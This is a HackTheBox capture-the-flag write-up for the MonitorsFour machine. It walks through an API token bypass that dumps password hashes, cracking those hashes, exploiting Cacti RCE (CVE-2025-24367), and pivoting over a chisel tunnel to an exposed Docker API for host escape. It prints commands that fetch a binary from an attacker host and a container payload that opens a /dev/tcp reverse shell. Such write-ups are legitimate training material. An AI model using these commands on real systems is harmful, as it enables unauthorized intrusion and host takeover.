# MonitorsFour Writeup - HackTheBox

> SQL injection in Cacti leads to RCE, followed by port forwarding and privilege escalation techniques to fully compromise this Windows machine.

- **URL:** https://hackindex.io/writeups/monitorsfour
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Windows
- **Machine:** https://hacktheboxltd.sjv.io/monitorsfour
- **Tags:** sql-injection, cacti, privilege-escalation, suid, hash-cracking, information-disclosure, port-forwarding, cve-2025-24367
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 9 min read
- **Published:** 2026-01-20
- **Updated:** 2026-05-26

## Discovery

Initial TCP scan showed only HTTP.

```bash
nmap -sC -sV -p- $TARGET_IP
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-06 16:27 -0500
# Nmap scan report for monitorsfour.htb ($TARGET_IP)
# Host is up (0.014s latency).
# Not shown: 65533 filtered tcp ports (no-response)
# PORT     STATE SERVICE VERSION
# 80/tcp   open  http    nginx
# |_http-title: MonitorsFour - Networking Solutions
# | http-cookie-flags: 
# |   /: 
# |     PHPSESSID: 
# |_      httponly flag not set
# 5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# |_http-server-header: Microsoft-HTTPAPI/2.0
# |_http-title: Not Found
# Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 115.91 seconds
```

Port 80 served a PHP app on nginx. Port 5985 existed but didn’t expose anything usable.

Added the hostname and started poking the web app.

```bash
echo "$TARGET_IP monitorsfour.htb" | sudo tee -a /etc/hosts
```

`/robots.txt` was empty. `/login` existed but default creds failed. Page source leaked an email format: `sales@monitorsfour.htb`. That implied real users.

Directory brute-force gave real attack surface.

```bash
gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt
```

## API token flaw

`/user` returned JSON errors instead of HTML.

```bash
curl http://monitorsfour.htb/user
```

It required a `token` parameter but didn’t validate it correctly.

```bash
curl http://monitorsfour.htb/user?token=0
```

```json
[
  {
    "id": 2,
    "username": "admin",
    "email": "[email protected]",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "85349e35c57f7647cd",
    "name": "Marcus Higgins",
    "position": "System Administrator",
    "dob": "1978-04-26",
    "start_date": "2021-01-12",
    "salary": "320800.00"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "[email protected]",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "admin",
    "token": "0e543210987654321",
    "name": "Michael Watson",
    "position": "Website Administrator",
    "dob": "1985-02-15",
    "start_date": "2021-05-11",
    "salary": "75000.00"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "[email protected]",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "token": "0e999999999999999",
    "name": "Jennifer Anderson",
    "position": "Network Engineer",
    "dob": "1990-07-16",
    "start_date": "2021-06-20",
    "salary": "68000.00"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "[email protected]",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "token": "0e111111111111111",
    "name": "David Thompson",
    "position": "Database Manager",
    "dob": "1982-11-23",
    "start_date": "2022-09-15",
    "salary": "83000.00"
  }
]
```

This dumped all users, including usernames, roles, tokens, and password hashes. No auth required.

Key takeaway: token `0` bypasses access control. Next move was offline cracking.

## Password cracking

Hashes looked like unsalted MD5 when checking with hashid.

```bash
hashid 8d4a7e7fd08555133e056d9aacb1e519
```

which we can crack with Hashcat like:

```bash
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

Only one cracked fast:

- `admin@monitorsfour.htb : wonderful1`

## Environment leakage via .env

A quickhits sweep immediately exposed something useful.

```bash
gobuster dir -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50 -b 404,403
```

`.env` was publicly accessible.

```bash
curl http://monitorsfour.htb/.env
```

This confirmed the application talks to an internal MariaDB instance. Port 3306 was not exposed externally, so the credentials were not immediately usable. Next move was to enumerate the API surface.

## 

## API enumeration

Since we have seen API usage before I tried to scan the HTTP service with a specific API endpoint wordlist:

```bash
gobuster dir -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 50
```

Interesting results:

- `/api/v1/user` → same behavior as `/user`
- `/api/v1/auth` → **405 Method Not Allowed**

A 405 indicated the route existed but required a different HTTP method.

```bash
curl -v -X POST http://monitorsfour.htb/api/v1/auth
```

The response was a 302 redirect to `/login` with no JSON output, no error message, and no indication of required parameters. No useful feedback, no brute-force angle, no injection surface.

At this point:

- API auth was a dead end
- Database access was internal only

There was no direct exploit path left on the main vhost. Next move was expanding the attack surface via virtual hosts.

## Virtual host discovery

Since we have not found anything useful yet on the monitorsfour.htn, we move to searching potential subdomains with gobuster:

```bash
gobuster vhost -u monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt --append-domain
```

This returned a clean hit:

```
cacti.monitorsfour.htb → 302 → /cacti
```

Added it to /etc/hosts and browsed the site.

```bash
echo "$TARGET_IP cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
```

The page exposed a Cacti login with a visible version banner:

```
Cacti Version 1.2.28
```

That version is known to be exploitable.

## 

## Cacti authentication

Reused credentials from the earlier API dump. Email-based login failed. The application accepted the first name as username.

Working credentials:

```
marcus : wonderful1
```

Login succeeded. This confirmed Cacti was a separate service reusing the same user credentials. Next move was exploiting Cacti itself.

## Cacti RCE (CVE-2025-24367)

Cacti 1.2.28 is vulnerable to an authenticated remote code execution flaw. A [public PoC](https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC/blob/main/exploit.py) was available and reliable.

Exploit execution:

```bash
python3 exploit.py -u marcus -p wonderful1 -i $ATTACKER_IP -l $ATTACKER_PORT -url http://cacti.monitorsfour.htb
```

Listener and fetching the user flag:

```bash
rslisten 1111 tun0
```

Local privilege escalation inside the container with LinPeas was a dead end. Automated checks and manual inspection showed no direct viable SUID binaries, cron jobs, or leaked secrets. This shifted focus to container escape or lateral movement.

## Internal network enumeration

The resolver configuration hinted at Docker internal networking.

```bash
cat /etc/resolv.conf
```

The gateway IP was visible. Internal scanning with [fscan](https://github.com/shadow1ng/fscan/blob/main/README_EN.md) was the next logical move.

```bash
./fscan -h 192.168.65.7 1-65535
```

Findings:

- `2375/tcp` open and `5555`
- Docker detected

## Docker API pivot

The Docker API was only reachable internally, so a reverse tunnel was required.

On the attacker machine:

```bash
chisel server -p 9999 --reverse
```

On the compromised container:

```bash
curl $ATTACKER_IP:8181/chisel/chisel_1.11.3_linux_amd64 -o chisel
chmod +x chisel
./chisel client $ATTACKER_IP:9999 R:2375:192.168.65.7:2375
```

Now that a reverse tunnel has been setup between the attacker machine and the compromised container, we can access the internal service at 192.168.65.7:2375 via 127.0.0.1:2375 on the attackers network via:

```bash
curl http://127.0.0.1:2375/images/json
```

The API responded successfully. An `alpine` image was already present, which avoided pulling new images.

## Host escape via Docker

Created a container with the host filesystem mounted and executed a chroot.

We first need to make our own container JSON for the Docker API to receive like container.json:

```json
{
    "Image": "alpine:latest",
    "Cmd": [
        "sh", "-c", "chroot /host /bin/bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\""
    ],
    "HostConfig": {
        "Binds": ["/:/host"]
    }
}
```

This container will use the alpine:latest image and start a reverse shell connection to our attackers machine. It will also bind the host device its root folder / to the /host folder inside the Docker container allowing us to see all the files of the host inside the Docker container.

We send this container.json via CURL to the API and then directly start the container

```bash
curl -H 'Content-Type: application/json' -d @container.json 'http://127.0.0.1:2375/containers/create'
```

```bash
curl -X POST http://127.0.0.1:2375/containers/bb09df2fa4b64522f6b0f37744e976523b2acd4a5a30215a67c0a993aa5f88b7/start
```

When we listen for this connect we will be able to get shell and browse the hosts its file system and retrieve the flag:

```bash
rslisten 2222 tun0
```

Related
